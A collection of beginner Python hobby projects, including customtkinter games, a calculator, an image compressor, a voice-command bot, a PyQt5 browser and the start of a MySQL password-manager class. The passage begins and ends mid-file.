            self.random_article.configure(state="disabled")
            # packing title, summary, and link
            self.title.grid(row=0, column=1, padx=10)
            self.random_article.grid(row=1, column=1 ,padx=10,pady=10)
            self.link.grid(row=2, column=0, padx=10)
        
    def summarize_wikipedia_article(self,article_link):
        """
        Summarize a Wikipedia article based on its link.

        Args:
            article_link (str): The link to the Wikipedia article.

        Returns:
            list: A list containing the page title and summary of the article, or None if the article is not found.
        """
        # Extract the page title from the article link
        page_title = article_link.split("/")[-1]

        try:
            # Get the Wikipedia page based on the page title
            page = wikipedia.page(page_title)

            # Retrieve the summary of the page
            summary = page.summary

            return [page_title,summary]

        except wikipedia.exceptions.PageError:
            message = CTkLabel(self, text="Something went wrong! Try Again!")
            message.grid(row=4, column=1,padx=10, pady=10)
            return None
        
    def copy_text(self):
        # Get the text from the label
        text = self.link.cget("text")

        # Set the text to the clipboard
        self.clipboard_clear()
        self.clipboard_append(text)

        messagebox.showinfo("Copy", "Text copied to clipboard!")

    def open_link(self):
        try:
            webbrowser.open(self.link.cget("text"))
        except Exception:
            message = CTkLabel(self, text="Get the link first!")
            message.grid(row=4, column=1,padx=10, pady=10)
        
if __name__ == "__main__":
    app = WikipediaArticle()
    app.mainloop()
import random
import time
from os import system

#constants
MAX_ATTEMPTS = 10
MIN_NUMBER = 1
MAX_NUMBER = 50


def introduce() -> None:
    """Introduces player to the rules of the game."""
    print("You will get a total of 10 guesses.")
    time.sleep(2)
    print("In 10 guesses you have to guess the correct no. between 1 to 50.")
    time.sleep(2)
    print("READY???")
    for count in range(1, 4):
        print(count)
        time.sleep(1)
    print("GO")
    time.sleep(1)
    system("cls")

def play_number_guessing_game() -> None:
    """
    Plays the number guessing game.
    
    A random number is generated between MIN_NUMBER and MAX_NUMBER.

    The player is prompted to guess the number within a limited number of attempts.
    Feedback is provided after each guess.
    
    The game ends when the player guesses the correct number or exhausts all attempts.
    """
    num = random.randint(MIN_NUMBER, MAX_NUMBER)
    guess_list = []

    introduce()
    attempt = 1
    while attempt != (MAX_ATTEMPTS + 1):
        try:
            guess = int(input("Guess a no.:"))

        except ValueError:
            print("Enter a valid number!!")
            continue

        if guess == num:
            print(f"\n\nYou got it right in {attempt} attempts.\nThe no. is {num}")
            return
        elif guess in guess_list:
            print("You already guessed this no. before!")
        elif guess > num:
            print(f"The no. is less than {guess}")
            attempt += 1
            print(11-attempt,"Attempts left")
        elif guess < num:
            print(f"The no. is greater than {guess}")
            attempt += 1
            print(11-attempt,"Attempts left")
        guess_list.append(guess)

    if attempt>=10:
        system("cls")
        print("GAME OVER")
        print("The correct no. was",num)

if __name__ == "__main__":
    play_number_guessing_game()
# Calculator App
from customtkinter import CTk, CTkEntry, CTkButton

class App(CTk):
    def __init__(self):
        super().__init__()

        self.title("Calculator")
        # width
        self.evwidth = 400
        self.bwidth1 = self.evwidth/4 - 20

        # colors
        self.configure(fg_color="#181b1f")
        self.obc = "#fb2f64"
        self.obch = "#cc2753"
        self.nbc = "#181b1f"
        self.nbch= "#14161a"

        # values
        self.values = CTkEntry(master=self, width=self.evwidth)
        self.values.grid(row=0, column=0, columnspan=4, padx=10, pady=10)

        # number buttons
        self.button_1 = CTkButton(master=self, text="1", command=lambda: self.g_num("1"), width=self.bwidth1, fg_color=self.nbc, hover_color=self.nbch)
        self.button_2 = CTkButton(master=self, text="2", command=lambda: self.g_num("2"), width=self.bwidth1, fg_color=self.nbc, hover_color=self.nbch)
        self.button_3 = CTkButton(master=self, text="3", command=lambda: self.g_num("3"), width=self.bwidth1, fg_color=self.nbc, hover_color=self.nbch)
        self.button_4 = CTkButton(master=self, text="4", command=lambda: self.g_num("4"), width=self.bwidth1, fg_color=self.nbc, hover_color=self.nbch)
        self.button_5 = CTkButton(master=self, text="5", command=lambda: self.g_num("5"), width=self.bwidth1, fg_color=self.nbc, hover_color=self.nbch)
        self.button_6 = CTkButton(master=self, text="6", command=lambda: self.g_num("6"), width=self.bwidth1, fg_color=self.nbc, hover_color=self.nbch)
        self.button_7 = CTkButton(master=self, text="7", command=lambda: self.g_num("7"), width=self.bwidth1, fg_color=self.nbc, hover_color=self.nbch)
        self.button_8 = CTkButton(master=self, text="8", command=lambda: self.g_num("8"), width=self.bwidth1, fg_color=self.nbc, hover_color=self.nbch)
        self.button_9 = CTkButton(master=self, text="9", command=lambda: self.g_num("9"), width=self.bwidth1, fg_color=self.nbc, hover_color=self.nbch)
        self.button_0 = CTkButton(master=self, text="0", command=lambda: self.g_num("0"), width=self.bwidth1, fg_color=self.nbc, hover_color=self.nbch)

        # displaying number buttons
        self.button_1.grid(row=3, column=0, pady=5, padx=10)
        self.button_2.grid(row=3, column=1, pady=5, padx=10)
        self.button_3.grid(row=3, column=2, pady=5, padx=10)

        self.button_4.grid(row=2, column=0, pady=5, padx=10)
        self.button_5.grid(row=2, column=1, pady=5, padx=10)
        self.button_6.grid(row=2, column=2, pady=5, padx=10)

        self.button_7.grid(row=1, column=0, pady=5, padx=10)
        self.button_8.grid(row=1, column=1, pady=5, padx=10)
        self.button_9.grid(row=1, column=2, pady=5, padx=10)
        self.button_0.grid(row=4, column=0, pady=5, padx=10)
    
        # operation buttons
        self.add = CTkButton(master=self, text="+", command=lambda: self.operate("+"), width=self.bwidth1, fg_color=self.obc, hover_color=self.obch)
        self.sub = CTkButton(master=self, text="-", command=lambda: self.operate("-"), width=self.bwidth1, fg_color=self.obc, hover_color=self.obch)
        self.div = CTkButton(master=self, text="/", command=lambda: self.operate("/"), width=self.bwidth1, fg_color=self.obc, hover_color=self.obch)
        self.mul = CTkButton(master=self, text="*", command=lambda: self.operate("*"), width=self.bwidth1, fg_color=self.obc, hover_color=self.obch)

        self.equal = CTkButton(master=self, text="=", command=self.evaluate, width=self.bwidth1)
        self.clear = CTkButton(master=self, text="clear", command=self.all_clear, width=self.bwidth1)

        # displaying operation buttons
        self.add.grid(row=1, column=3, pady=5, padx=10)
        self.sub.grid(row=2, column=3, pady=5, padx=10)
        self.div.grid(row=3, column=3, pady=5, padx=10)
        self.mul.grid(row=4, column=3, pady=5, padx=10)

        self.equal.grid(row=4, column=1, pady=5, padx=10)
        self.clear.grid(row=4, column=2, pady=5, padx=10)


    def g_num(self, n):
        new_n = self.values.get()+n
        self.values.delete(0, END)
        self.values.insert(0, new_n)

    def all_clear(self):
        self.values.delete(0, END)

    def operate(self, o):
        self.f_num = int(self.values.get())
        self.op = o
        self.values.delete(0, END)

    def evaluate(self):
        s_num = int(self.values.get())
        self.values.delete(0, END)

        if self.op == "+":
            self.values.insert(0, self.f_num + s_num)
        elif self.op == "-":
            self.values.insert(0, self.f_num - s_num)
        elif self.op == "*":
            self.values.insert(0, self.f_num * s_num)
        elif self.op == "/":
            self.values.insert(0, self.f_num / s_num)


if __name__ == "__main__":
    app = App()
    app.mainloop()
from PIL import Image
import os
from pathlib import Path

def compress_image(image_path:str) -> None:
    '''Takes up a PNG file, compresses it and converts it to a WEBP.
    Uses the pillow, pathlib and os module to do this.
    Args:
        image_path: The path to the image (str)'''
    try:
        compression_level = 6
        img_nm = Path(os.path.basename(image_path))
        compressed_png_path =Path(f"images_webp/{img_nm}")

        if not(os.path.exists(compressed_png_path.with_suffix(".webp"))):
            # opening image
            img = Image.open(Path(image_path))
            # compressing image
            img.save(compressed_png_path, format="png", optimize=True, compress_level=compression_level)
            # opening compressed image
            img_compressed = Image.open(compressed_png_path)
            # Convert the compressed PNG to WebP
            img_compressed.save(compressed_png_path.with_suffix(".webp"), format="webp")
            # removing the compressed PNG
            os.remove(compressed_png_path)
        else:
            print("File already exists")

    except FileNotFoundError as e:
        print(f"Error: {e}")

paths = Path("images").glob("**/*.png")
for path in paths:
    compress_image(str(path))
from customtkinter import *
import random
from PIL import Image

class Dice(CTk):
    def __init__(self):
        super().__init__()

        self.title("Dice Stimulator")

        # Getting images into CTk
        self.dice1 = CTkImage(light_image=Image.open("images/dice1.png"), size=(300,300))
        self.dice2 = CTkImage(light_image=Image.open("images/dice2.png"), size=(300,300))
        self.dice3 = CTkImage(light_image=Image.open("images/dice3.png"), size=(300,300))
        self.dice4 = CTkImage(light_image=Image.open("images/dice4.png"), size=(300,300))
        self.dice5 = CTkImage(light_image=Image.open("images/dice5.png"), size=(300,300))
        self.dice6 = CTkImage(light_image=Image.open("images/dice6.png"), size=(300,300))

        # putting them in a list for random choice
        self.image_list = [self.dice1, self.dice2, self.dice3, self.dice4, self.dice5, self.dice6]
        # Information
        label = CTkLabel(self, text="press enter or click the button")
        label.grid(row=0, padx=10, pady=10)
        # Button to roll the dice
        btn = CTkButton(self, text="Roll The Dice", command=self.roll)
        btn.grid(row=2, padx=10, pady=10)
        # Connecting button to the enter key
        self.bind("<Return>", lambda event: btn.invoke())

    def roll(self):
        # choosing a random die face
        img = random.choice(self.image_list)
        # displaying it on the label
        self.label = CTkLabel(self, text="", image=img)
        self.label.grid(row=1, padx=10, pady=10)

if __name__ == "__main__":
    app = Dice()
    app.mainloop()
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.chrome.options import Options

from bs4 import BeautifulSoup
import requests

from customtkinter import *
from PIL import Image
from io import BytesIO

class Motivator(CTk):
    """A GUI application for displaying random motivational images. When you are sad."""
    def __init__(self) -> None:
        """
        Initialize the Motivator GUI.

        Sets up the main window, question label, image label, and "Show Motivation" button.
        """
        super().__init__()

        self.title("Random Motivation")
        self.geometry("600x600")
        # getting image
        self.question = CTkLabel(self, text="Are you sad? Click the button below.")
        self.question.grid(row=0, pady=10)
        self.sad_image = CTkImage(light_image=Image.open("images/sad.jpg"), size=(300,300))
        # making image label
        self.ilsad = CTkLabel(self, image=self.sad_image, text="")
        # displaying image label
        self.ilsad.grid(row=1, pady=10)
        # Button to get a random motivational image
        self.show_motivation = CTkButton(self, text="Show Motivation", command=self.show_image).grid(row=2, pady=10)

    def get_img_url(self) -> str:
        """
        Retrieve a random motivational image URL from Unsplash.

        Returns:
            str: The URL of the random motivational image.
        """
        print("Getting image...")
        print("Please wait...")
        print("It might take a while...")

        # configuring chrome options so that the browser doesn't open up
        chrome_options = Options()
        chrome_options.add_argument("--headless")  # Run Chrome in headless mode (no GUI)
        chrome_options.add_argument("--disable-gpu")  # Required on some systems to avoid issues

        # setting up selenium' chrome driver to get the web page
        chrome_driver_path = "C:\Development\chromedriver.exe"
        service = Service(executable_path=chrome_driver_path)
        driver = webdriver.Chrome(service=service, options=chrome_options)

        # getting the webpage
        driver.get("https://source.unsplash.com/random/1080x810?motivational+quote")
        # getting its source code
        source = driver.page_source
        # making a soup of the html code to parse through it well
        soup = BeautifulSoup(source, 'html.parser')
        # finding the source url of the image
        img_url = soup.find('img')['src']
        # quitting the driver (a good practice)
        driver.quit()

        print("Got the image showing it...")
        return img_url
    
    def show_image(self) -> None:
        """
        Fetch and display the image got from self.get_img_url.

        Uses the get_img_url method to fetch the image URL and displays it on the GUI.
        """
        # getting url from the above function
        img_url = self.get_img_url()
        # getting the source code of the image's web page
        response = requests.get(img_url)
        # converting code of image to an image readable by python
        image = Image.open(BytesIO(response.content))
        # getting the image in customtkinter
        img = CTkImage(image, size=(540,405))
        print("showing the image...")
        # showing the image with the use of label
        label = CTkLabel(self, image=img, text='')
        label.grid(row=1, pady=10)


if __name__ == "__main__":
    app = Motivator()
    app.mainloop()
# FILE: rock_paper_scissors_gui.py
from customtkinter import *
from PIL import Image
from rock_paper_scissors import game


class RPS(CTk):
    """
    A class representing the Rock Paper Scissors game GUI.

    Inherits from customtkinter.CTk.

    Attributes:
    None

    Methods:
    __init__: Initializes the GUI and sets up the game window.
    check: Function to handle the player's choice and display the game result.

    Usage:
    app = RPS()
    app.mainloop()
    """
    def __init__(self) -> None:
        """
        Initializes the Rock Paper Scissors GUI.

        Creates and configures the main game window.

        Parameters:
        None

        Returns:
        None
        """
        super().__init__()
        self.title("Rock Paper Scissors")
        self.geometry("500x600")

        self.Label = CTkLabel(self, text="Choose Rock Paper or Scissors").grid(row=0,column=2,padx=150)

        # Create an instance of the CTkImage class for the 'rock' choice image
        # using the light_image parameter to load the image file from the given path.
        # The size parameter is set to (100, 100) to resize the image to the specified dimensions.
        self.rock_img = CTkImage(light_image=Image.open("rock.png"), size=(100,100))
        # Create an instance of the CTkButton class for the 'rock' choice button.
        # The image parameter is set to the previously created CTkImage instance,
        # so the button will display the 'rock' image as its icon.
        # The text parameter is set to an empty string to hide any text on the button.
        # The fg_color parameter is set to "#242424", which represents the foreground color (text color) of the button.
        # The hover_color parameter is set to "#242424", which represents the background color of the button when hovered.
        # The command parameter is set to a lambda function that calls the 'self.check()' method with argument 0,
        # representing the 'rock' choice, when the button is clicked.
        self.ilr = CTkButton(self, image=self.rock_img, text="", fg_color="#242424", hover_color="#242424", command=lambda: self.check(0))
        # Position the 'rock' choice button in the grid layout at row 1 and column 2.
        # The padx parameter is set to 150 to add horizontal padding around the button to create spacing.
        self.ilr.grid(row=1,column=2,padx=150)

        self.paper_img = CTkImage(light_image=Image.open("paper.png"), size=(100,100))
        self.ilp = CTkButton(self, image=self.paper_img, text="", fg_color="#242424", hover_color="#242424", command=lambda: self.check(1))
        self.ilp.grid(row=2,column=2,padx=150)

        self.scissors_img = CTkImage(light_image=Image.open("scissors.png"), size=(100,100))
        self.ils = CTkButton(self, image=self.scissors_img, text="",fg_color="#242424", hover_color="#242424", command=lambda: self.check(2))
        self.ils.grid(row=3,column=2,padx=150)


        self.qb = CTkButton(self, text="Exit", fg_color="red", hover_color="pink", text_color="white", command=self.quit)
        self.qb.grid(row=4,column=2,padx=150,pady=10)

    def check(self, player_choice: int) -> None:
        """
        Function to handle the player's choice and display the game result.

        Parameters:
        player_choice (int): The player's choice. Should be an integer between 0 and 2,
                             where 0 represents 'rock', 1 represents 'paper', and
                             2 represents 'scissors'.

        Returns:
        None
        """
        result = game(player_choice)
        res1 = CTkLabel(self, text=result[0],text_color ="#ADD8E6").grid(row=5,column=2,padx=150,pady=10)
        res2 = CTkLabel(self, text=result[1], text_color="pink").grid(row=6,column=2,padx=150,pady=10)
        res3 = CTkLabel(self, text=result[2]).grid(row=7,column=2,padx=150,pady=10)


if __name__ == "__main__":
    app = RPS()
    app.mainloop()
# FILE: rock_paper_scissors.py
import random

def game(your_choice: int) -> list:
    """
    Function to play a single round of Rock-Paper-Scissors game.

    Parameters:
    your_choice (int): The player's choice. Should be an integer between 0 and 2,
                       where 0 represents 'rock', 1 represents 'paper', and
                       2 represents 'scissors'.

    Returns:
    list: A list containing the results of the game round.
          The list elements are as follows:
          1. The player's choice.
          2. The computer's choice.
          3. The result of the round, which can be one of the following strings:
             - "Tie🤝" if the player and computer made the same choice.
             - "You won" if the player's choice beats the computer's choice.
             - "You lost" if the player's choice loses to the computer's choice.
    """
    choices = ["rock", "paper", "scissors"]
    computer_choice = random.randint(0, 2)
    
    # Create a dictionary to map the player's and computer's choices to outcomes
    outcomes = {
        (0, 0): "It's a Tie",
        (0, 1): "You lost",
        (0, 2): "You won",
        (1, 0): "You won",
        (1, 1): "It's a Tie",
        (1, 2): "You lost",
        (2, 0): "You lost",
        (2, 1): "You won",
        (2, 2): "It's a Tie",
    }

    result = [f"Your choice:\n{choices[your_choice]}", f"Computer's choice:\n{choices[computer_choice]}", outcomes[(your_choice, computer_choice)]]
    return result

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Well Done Champ</title>
</head>

<body>
    <script src="https://unpkg.com/@lottiefiles/lottie-player@latest/dist/lottie-player.js"></script>
    <lottie-player src="https://assets6.lottiefiles.com/packages/lf20_pKiaUR.json" background="transparent" speed="1" style="width: 300px; height: 300px;" loop autoplay></lottie-player>

</body>

</html>
import webbrowser
class TaskAlreadyExistsError(Exception):
    """Exception raised when a task already exists in the list."""
    def __init__(self, message):
        super().__init__(message)

class TaskNotFoundError(Exception):
    """Exception raised when a task is not found in the list."""
    def __init__(self, message):
        super().__init__(message)

class ToDo:
    """Class representing a to-do list."""

    def __init__(self) -> None:
        """Initialize an empty to-do list. Which is a dictionary"""
        self.tasks = {}

    def add_task(self, task:str, deadline:str) -> str:
        """Add a new task to the list.

        Args:
            task (str): The task description.
            deadline (str): The deadline in dd-mm-yy format.

        Returns:
            str: A confirmation message indicating that the task has been added.

        Raises:
            TaskAlreadyExistsError: If the task already exists in the list.
            TypeError: If the task parameter is not a string.
            ValueError: If the task parameter is an empty string.
        """
        if not isinstance(task, str):
            raise TypeError("Task must be a string.")
        if not task:
            raise ValueError("Task cannot be an empty string.")
        if task in self.tasks.keys():
            raise TaskAlreadyExistsError(f"{task} already exists in the list.")
        else:
            self.tasks[task] = {'status':False, 'deadline':deadline}
            print(self.tasks)
            return f"Task has been added to the list."
        
    def finish_task(self, task:str) -> str:
        """
        Mark a task as finished and open a web page for celebration.

        Args:
            task (str): The task to mark as finished.

        Returns:
            str: A message confirming that the task has been marked as finished.

        Raises:
            TypeError: If the task is not a string.
            TaskNotFoundError: If the task does not exist in the list.
        """
        try:
            if not isinstance(task, str):
                raise TypeError("Task must be a string.")
            self.tasks[task]['status'] = True
            webbrowser.open("well_done.html")
            return "Task finished"
        except Exception:
            raise TaskNotFoundError("No such task in the list.")
    
    def remove_task(self, task:str) ->str:
        """
        Remove a task from the task list.

        Args:
            task (str): The task to remove.

        Returns:
            str: A message confirming that the task has been removed.

        Raises:
            TypeError: If the task is not a string.
            TaskNotFoundError: If the task does not exist in the list.
        """
        try:
            if not isinstance(task, str):
                raise TypeError("Task must be a string.")
            del self.tasks[task]
            return "Task removed"
        except Exception:
            raise TaskNotFoundError("No such task in the list.")
    
    def update_task(self, task:str, new_deadline:str) -> str:
        """
        Update the status and deadline of a task.

        Args:
            task (str): The task to update.
            new_deadline (str): The new deadline for the task in dd-mm-yy format.

        Returns:
            str: A message confirming that the task has been updated.

        Raises:
            TypeError: If the task is not a string.
            TaskNotFoundError: If the task does not exist in the list.
        """
        try:
            if not isinstance(task, str):
                raise TypeError("Task must be a string.")
            self.tasks[task] = {'status': False, 'deadline': new_deadline}
            return "Task updated"
        except Exception:
            raise TaskNotFoundError("No such task in the list.")
    
    def view_tasks(self) -> list:
        """View the tasks in the list.

        Returns:
            list: A list of task descriptions and their status or completion.

        Raises:
            TaskNotFoundError: If there are no tasks in the list.
        """
        try:
            task_list = []
            for task in self.tasks:
                if self.tasks[task]['status'] == False:
                    task_list.append(f"{task} by {self.tasks[task]['deadline']}")
                if self.tasks[task]['status'] == True:
                    task_list.append(f"{task} finished")
            return task_list
        except Exception:
            raise TaskNotFoundError("There are no tasks in the list.")

if __name__ == "__main__":
    app = ToDo()
    while True:
        print("-------------------------------")
        print()
        print("1. Add task")
        print("2. View tasks")
        print("3. delete task")
        print("4. update task")
        print("5. finish task")
        print("6. exit app")
        print()
        print("-------------------------------")

        choice = int(input("Enter your choice: "))
        if choice == 1:
            task = input("Enter task: ")
            deadline = input("Enter task deadline: ")
            try:
                message = app.add_task(task, deadline)
                print(message)
            except TypeError as e:
                print(e)
            except ValueError as e:
                print(e)
            except TaskAlreadyExistsError as e:
                print(e)
        elif choice == 2:
            try:
                print("-------------------------------")
                task_list = app.view_tasks()
                for task in task_list:
                    print(task)
                print("-------------------------------")
            except TaskNotFoundError as e:
                print(e)
        elif choice == 3:
            try:
                task = input("Enter the task you want to remove: ")
                message = app.remove_task(task)
                print(message)
            except TypeError as e:
                print(e)
            except TaskNotFoundError as e:
                print(e)
        elif choice == 4:
            try:
                task = input("Enter the task you want to update: ")
                deadline = input("What is the new deadline? ")
                message = app.update_task(task,deadline)
                print(message)
            except TypeError as e:
                print(e)
            except TaskNotFoundError as e:
                print(e)
        elif choice == 5:
            try:
                task = input("Enter the task you have finised: ")
                message = app.finish_task(task)
                print(message)
            except TypeError as e:
                print(e)
            except TaskNotFoundError as e:
                print(e)
        elif choice == 6:
            print("Thanks for using")
            break
        else:
            print("Invalid choice!")
import webbrowser
import os
import speech_recognition as sr
import pyttsx3


class Doraemon:
    """This is a simple speech command bot. It is made with few functions and elif ladder. It can take speech input.
    It will perform two categories of tasks:
        1. searching through the web.
        2. opening some apps. Both on voice command. It will also reply to user by talking.
    It has four major methods:
        1. __init__: which is an empty constructor
        2. speak: that speaks the text input and also prints it on the console.
        3. takeCommand: It listens with the default microphone of the system and returns the spoken text
        4. run_bot: This is the interface user will get in the instance of this class. It has an infinite while loop to take commands and execute them until the user asks to stop.
    Libraries used:
        webbrowser: to browse through web
        os: to open applications
        speech_recognition: to take voice commands
        pyttsx3: to give voice outputs
    """
    def __init__(self):
        pass

    def speak(self, text:str) -> None:
        engine = pyttsx3.init()
        print(text)
        engine.say(text)
        engine.runAndWait()
        return None
    
    def takeCommand(self) -> str:
        r = sr.Recognizer()
        with sr.Microphone() as source:
            print("Listening...")
            r.pause_threshold = 1
            audio = r.listen(source)
        try:
            print("Recognizing...")    
            query = r.recognize_google(audio, language='en-in')
            return query

        except Exception:
            print("Say that again please...")
            return ""
    
    def open_youtube(self) -> None:
        self.speak("What should I search for? ")
        cm = input()
        self.speak(f"Searching in youtube {cm}")
        webbrowser.open(f"https://www.youtube.com/results?search_query={cm}")

    def open_google(self) -> None:
        self.speak("What should I search for? ")
        cm = input()
        self.speak(f"Searching in google {cm}")
        webbrowser.open(f"https://www.google.com/search?q={cm}")

    def open_notepad(self) -> None:
        self.speak("Opening Notepad")
        os.system("C:\\Windows\\notepad.exe")

    def open_vs_code(self) -> None:
        self.speak("Opening VS Code")
        os.startfile("C:\\Microsoft VS Code2\\Code.exe")

    def run_bot(self) -> None:
        self.speak("How can i help you buddy?")
        while True:
            instruction = self.takeCommand().lower()
            if instruction == "":
                continue
            elif "youtube" in instruction:
                self.open_youtube()

            elif "google" in instruction:
                self.open_google()

            elif "notepad" in instruction:
                self.open_notepad()

            elif "vs code" in instruction:
                self.open_vs_code()

            elif "quit" or "exit" in instruction:
                self.speak("Ok bye bye have a great time")
                break

            elif "thanks" in instruction:
                self.speak("NO thanks in friendship")
                
            else:
                self.speak("Invalid request")

my_buddy = Doraemon()
my_buddy.run_bot()
# Importing necessary classes from PyQt5 library
from PyQt5.QtWidgets import *
from PyQt5.QtCore import *
from PyQt5.QtGui import QIcon
from PyQt5.QtWebEngineWidgets import *

class MyWebBrowser(): # Creating a class for the web browser
    """
    A simple web browser application using PyQt5.
    """
    def __init__(self):
        """
        Initialize the web browser.
        """
        self.window = QWidget() # Creating a QWidget instance
        self.window.setWindowTitle("My Web Browser") # Setting the window title

        # main layout: holds browser and horizontal layout
        self.layout = QVBoxLayout()
        # holds the buttons and url bar
        self.horizontal = QHBoxLayout()

        self.url_bar = QLineEdit()
        self.url_bar.setMaximumHeight(30)

        self.go_btn = QPushButton("Go")
        self.go_btn.setMinimumHeight(30)

        # to load a page when enter is pressed in the url bar
        self.url_bar.returnPressed.connect(self.go_btn.click)  # Connect the returnPressed signal to the go_btn click slot

        self.back_btn = QPushButton("<")
        self.back_btn.setMinimumHeight(30)

        self.forward_btn = QPushButton(">")
        self.forward_btn.setMinimumHeight(30)

        self.reload_btn = QPushButton()
        self.reload_btn.setIcon(QIcon('images/reload.png'))  # Set the icon using the image file path
        self.reload_btn.setMinimumHeight(30)

        # Adding the widgets to the horizontal layout
        self.horizontal.addWidget(self.reload_btn)
        self.horizontal.addWidget(self.url_bar)
        self.horizontal.addWidget(self.go_btn)
        self.horizontal.addWidget(self.back_btn)
        self.horizontal.addWidget(self.forward_btn)

        self.browser = QWebEngineView()

        # connecting buttons
        self.go_btn.clicked.connect(lambda: self.navigate(self.url_bar.text()))
        self.back_btn.clicked.connect(self.go_back)
        self.forward_btn.clicked.connect(self.go_forward)
        self.reload_btn.clicked.connect(self.browser.reload)

        self.layout.addLayout(self.horizontal)  # Adding the horizontal layout to the main layout
        self.layout.addWidget(self.browser) # Adding the browser to the main layout

        self.browser.setUrl(QUrl("https://google.com")) # Setting the initial URL for the browser

        self.window.setLayout(self.layout) # Setting the main layout for the window

        self.window.show()


    def navigate(self, url):
        """
        Navigate to the specified URL.

        Args:
            url (str): The URL to navigate to.
        """
        if not url.startswith("http"): # Checking if the URL does not start with "http"
            url = "https://" + url # Prepending "https://" to the URL
            self.url_bar.setText(url)  # Updating the URL bar text with the modified URL
        self.browser.setUrl(QUrl(url))  # Navigating the browser to the specified URL

    def go_back(self):
        """
        Go back to the previous page.
        """
        self.url_bar.setText("") 
        self.browser.back()

    def go_forward(self):
        """
        Go forward to the next page.
        """
        self.url_bar.setText("") 
        self.browser.forward()
    

app = QApplication([]) # Creating a QApplication instance
window = MyWebBrowser() # Creating an instance of the MyWebBrowser class
app.exec_() # Starting the application event loop
from customtkinter import *
from PIL import Image

class adventure_game(CTk):
    def __init__(self):
        super().__init__()

        self.images = [CTkImage(light_image=Image.open("Timages\\two roads.jpg"), size=(364,456)),
                       CTkImage(light_image=Image.open("Timages\\island.jpg"),size=(402,226)),
                       CTkImage(light_image=Image.open("Timages\\hole.jpg"),size=(595,396)),
                       CTkImage(light_image=Image.open("Timages\\Three doors.png"),size=(420,306)),
                       CTkImage(light_image=Image.open("Timages\\shark.jpg"),size=(400,266)),
                       CTkImage(light_image=Image.open("Timages\\fire.jpg"),size=(589,396)),
                       CTkImage(light_image=Image.open("Timages\\wolves.jpg"),size=(600,400)),
                    ]

        self.first_label = CTkLabel(self, text="You're at a cross road. Where do you want to go? Type \"left\" or \"right\"", font=("Arial", 16))
        self.first_label.pack()
        self.first_image = CTkLabel(self, image=self.images[0], text="")
        self.first_image.pack()

        self.choice1 = CTkEntry(self)
        self.choice1.pack()

        self.confirm = CTkButton(self, text="Confirm", command=self.choice_one)
        self.confirm.pack()

    def choice_one(self):
        ch1 = self.choice1.get()
        # Clear the app window
        for widget in self.winfo_children():
            widget.destroy()
        if ch1 == "left":
            self.second_label = CTkLabel(self, text="You've come to a lake. There is an island in the middle of the lake. Type \"wait\" to wait for a boat. Type \"swim\" to swim across.", font=("Arial", 16))
            self.second_label.pack()
            self.second_image = CTkLabel(self, image=self.images[1], text="")
            self.second_image.pack()

            self.choice2 = CTkEntry(self)
            self.choice2.pack()

            self.confirm = CTkButton(self, text="Confirm",command=self.choice_two)
            self.confirm.pack()
        else:
            self.second_label = CTkLabel(self, text="You fell into a hole. Game Over.", font=("Arial", 16))
            self.second_label.pack()
            self.second_image = CTkLabel(self, image=self.images[2], text="")
            self.second_image.pack()

            # exit button
            self.qb = CTkButton(self, text="Exit", fg_color="red", hover_color="pink", text_color="white", command=self.quit)
            self.qb.pack()

    def choice_two(self):
        ch2 = self.choice2.get()
        # Clear the app window
        for widget in self.winfo_children():
            widget.destroy()
        if ch2 == "wait":
            self.third_label = CTkLabel(self, text="You arrive at the island unharmed. There is a house with 3 doors. One red, one yellow and one blue. Which colour do you choose?", font=("Arial", 16))
            self.third_label.pack()
            self.third_image = CTkLabel(self, image=self.images[3], text="")
            self.third_image.pack()

            self.choice3 = CTkEntry(self)
            self.choice3.pack()

            self.confirm = CTkButton(self, text="Confirm",command=self.choice_three)
            self.confirm.pack()
        else:
            self.third_label = CTkLabel(self, text="You get attacked by an angry trout. Game Over.", font=("Arial", 16))
            self.third_label.pack()
            self.third_image = CTkLabel(self, image=self.images[4], text="")
            self.third_image.pack()

            # exit button
            self.qb = CTkButton(self, text="Exit", fg_color="red", hover_color="pink", text_color="white", command=self.quit)
            self.qb.pack()

    def choice_three(self):
        ch3 = self.choice3.get()
        # Clear the app window
        for widget in self.winfo_children():
            widget.destroy()

        if ch3=="yellow":
            self.fourth_label = CTkLabel(self, text="You win\nHere's the treasure:-\nIt's a comic website.\n-----------Happy Reading-----------")
            self.fourth_label.pack()
            import antigravity
            from time import sleep
            sleep(1)
            self.quit()

        elif ch3 == "red":
            self.fourth_label = CTkLabel(self, text="It's a room full of fire. Game Over.", font=("Arial", 16))
            self.fourth_label.pack()
            self.fourth_image = CTkLabel(self, image=self.images[5], text="")
            self.fourth_image.pack()

            # exit button
            self.qb = CTkButton(self, text="Exit", fg_color="red", hover_color="pink", text_color="white", command=self.quit)
            self.qb.pack()

        elif ch3 == "blue":
            self.fourth_label = CTkLabel(self, text="You enter a room of beasts. Game Over.", font=("Arial", 16))
            self.fourth_label.pack()
            self.fourth_image = CTkLabel(self, image=self.images[6], text="")
            self.fourth_image.pack()

            # exit button
            self.qb = CTkButton(self, text="Exit", fg_color="red", hover_color="pink", text_color="white", command=self.quit)
            self.qb.pack()
            
        else:
            self.fourth_label = CTkLabel(self, text="Game Over.", font=("Arial", 16))
            self.fourth_label.pack()
            # exit button
            self.qb = CTkButton(self, text="Exit", fg_color="red", hover_color="pink", text_color="white", command=self.quit)
            self.qb.pack()


app = adventure_game()
app.mainloop()
def WordCounter(text:str) -> int:
    # getting sentences
    lines = text.split("\n")

    words = []
    for line in lines:
        # words from sentences
        print(line)
        for word in line.split(" "):
            words.append(word)
    return len(words)

# taking multiline input
lines = []
print("Please Enter your text: ")
while True:
    line = input()
    if not line:
        break
    lines.append(line)

# providing the string of input to the WordCounter function
words = WordCounter(str(lines))
print(f'Your text has {words} words.')
import mysql.connector
from customtkinter import *

class DatabaseMediator:
    """Handles the connection and interaction with the MySQL database."""
    def __init__(self, host, user, password, database, table_name,*columns):
        """
        Initializes the DatabaseMediator object.
        
        Args:
            host (str): The MySQL server host.
            user (str): The username for the database connection.
            password (str): The password for the database connection.
            database (str): The name of the database.
            table_name (str): The name of the table storing the passwords.
            *columns (str): Variable-length argument list of column names in the table.
        """
        self.host = host
        self.user = user
        self.password = password
        self.database = database
        self.table_name = table_name
        self.columns = columns
        self.mydb = mysql.connector.connect(
        host=self.host,
        user=self.user,
        password=self.password,
        database=self.database
        )
        self.mycursor = self.mydb.cursor()

    def insert_data(self, *args):
        """
